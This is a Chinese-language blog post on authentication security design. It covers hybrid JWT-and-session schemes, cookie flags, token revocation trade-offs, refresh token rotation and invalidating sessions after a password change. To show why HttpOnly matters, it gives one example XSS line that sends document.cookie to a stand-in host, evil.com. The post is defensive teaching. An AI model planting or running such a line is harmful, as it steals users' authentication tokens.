LOADING
1616 words
8 minutes
认证系统的四个硬骨头(五)

实现一个登录接口只需要 30 行代码——验邮箱、验密码、签发 Token、返回给前端。但认证系统真正困难的问题不在”怎么实现登录”,而在登录之后——Token 被盗了怎么办、用户改密码了旧的 Token 还有效吗、用户点了退出登录你凭什么让已签发的 Token 失效。


一、JWT 和 Session 不是二选一

两种模式的真问题

Cookie Session(服务端状态):登录后服务端生成随机 session ID,存在数据库,把 ID 通过 Set-Cookie 发给浏览器。每次请求浏览器自动带 Cookie,服务端查数据库获取用户信息。

JWT(客户端状态):登录后服务端签发自包含 Token,编码用户 ID 和过期时间,用密钥签名。浏览器存 Token,每次请求带上。服务端验签后使用 Token 中的信息。

“JWT 是无状态的,不需要查数据库”——这句话只在理论场景下成立。实际应用中,你几乎一定需要查数据库来确认用户的权限是否变更、账户是否被禁用。纯粹的”验签通过就放行”在生产环境里不现实。

混合方案:JWT 防篡改 + 服务端可控

不需要二选一。一个实用的组合是:用 JWT 作为 Token 格式(自包含用户 ID 和 session ID,防篡改),把 JWT 存在 HttpOnly Cookie 里,在数据库里维护一张 Session 表(支持撤销和多设备管理)。

你同时得到了 JWT 的防篡改能力和服务端 Session 的可控性。

Token 存 Cookie 比存 localStorage 安全,前提是三个属性都设对:

HttpOnly:设置了 HttpOnly 的 Cookie,JavaScript 无法通过 document.cookie 读取。即使你的网站被注入了恶意脚本(XSS),攻击者也偷不到认证 Token。不设 HttpOnly 的代价:任何成功的 XSS 注入都能用一行 fetch('https://evil.com/steal?token=' + document.cookie) 窃取认证凭据。

Secure:只在 HTTPS 连接中发送。即使攻击者在同一个 Wi-Fi 网络上做中间人攻击,也截获不到这个 Cookie。

SameSiteSameSite=Lax 是浏览器默认行为——跨站请求不发送这个 Cookie(除非是顶级导航如点击链接跳转)。SameSite=Strict 更严但体验差——从邮件点链接打开你的网站时,用户是未登录状态。

HttpOnly + Secure + SameSite=Lax 是生产环境的标准配置。

localStorage 没有这些保护——任何在当前域名下执行的 JavaScript 都能读取。把 JWT 放在 localStorage 里,邮件说”这里有认证凭据,请自取”。


二、Token 撤销:JWT 的阿喀琉斯之踵

问题

用户点了退出登录。Access Token 的签名是有效的,过期时间是 15 分钟后。你怎么让这个还在有效期内的 Token 失效?

JWT 的”无状态”设计在这里变成了包袱——没有服务端状态,就没有地方标记”这个 Token 已失效”。

三种方案,各自有代价

令牌黑名单(Redis):撤退出时把 Token ID 加入黑名单,TTL 设为 Token 的剩余有效期。每次请求先查黑名单。简单有效,但把”无状态 JWT”又变回了”有状态”。

短有效期 + Refresh Token:Access Token 设 5-15 分钟,撤销后拒绝发放新 Token。问题是撤销不是实时的——已签发的 Access Token 在过期前仍然有效。如果你的业务能容忍 15 分钟的最大延迟,这个方案最轻量。

数据库 tokenVersion:User 表加一个 tokenVersion 字段,JWT 里包含这个版本号。撤销时递增版本号,旧的 Token 验签通过但版本不匹配。最干净,但每次请求需要查数据库——又回到了”有状态”。

三种方案在”撤销及时性""实现复杂度""运行时开销”之间各有取舍。没有完美的方案,只有适合你业务的方案。


三、Refresh Token 轮换:防的不是 Access Token 泄露

Access Token 只有 15 分钟有效期,泄露了影响有限——15 分钟后自动失效。但 Refresh Token 通常有 7-30 天有效期——因为它要支持”长期保持登录”。

这意味着攻击者有长达数周的时间窗口使用泄露的 Refresh Token。

Refresh Token Rotation(轮换)是标准解法:每次用 Refresh Token 换新的 Access Token 时,同时签发一个新的 Refresh Token,旧的那个立即失效。如果攻击者和用户同时使用同一个 Refresh Token,由于旧 Token 在使用后被废弃,总有一方会失败——服务端检测到”已废弃的 Refresh Token 又被使用”时,可以判断为 Token 泄露,主动废弃该用户的所有 Session。

没有 Rotation 的 Refresh Token 是一个定时炸弹——你签发了 30 天有效期的 Refresh Token,但没有任何方法在泄露后让它失效。Rotation 把暴露窗口从 30 天缩短到了”直到下次正常使用”——通常是几小时。


四、改密码后旧会话必须全部失效

用户修改了密码。他所有的设备都应该重新登录。

这不是附加功能——是安全基线。如果有人用盗取的密码登录了你的账户,你改密码后期望的是”盗号者被踢出去”。但如果旧的 JWT 在改密码后仍然有效,盗号者可以在 Token 过期前继续操作。

实现:改密码时,数据库里把该用户所有的 Session 标记为 revoked。认证中间件在每次请求时检查 Token 中的 session ID 对应的 Session 记录——如果已撤销,返回 401。

改密码 → 全部 Session 失效,这条规则不应该是可选的。


小结

  • JWT 和 Session 可以混合——JWT 防篡改 + 服务端可控,Token 存在 HttpOnly Cookie 而非 localStorage,攻击面小得多
  • Token 撤销没有完美方案——黑名单、短有效期、tokenVersion 各有利弊,取决于你对”撤销及时性”的要求
  • Refresh Token Rotation 把泄露窗口从 30 天缩短到几小时——不是可选功能
  • 改密码 → 所有会话失效,是安全基线不是附加功能

下一篇:事务、并发与幂等(六)——Lost Update 的真实场景、乐观锁和悲观锁的选择标准、以及为什么幂等键必须是数据库约束。

认证系统的四个硬骨头(五)
/posts/2026-7-24/5-认证授权与接口安全/
Author
Atopos
Published at
2026-07-24
License
CC BY-NC-SA 4.0

Some information may be outdated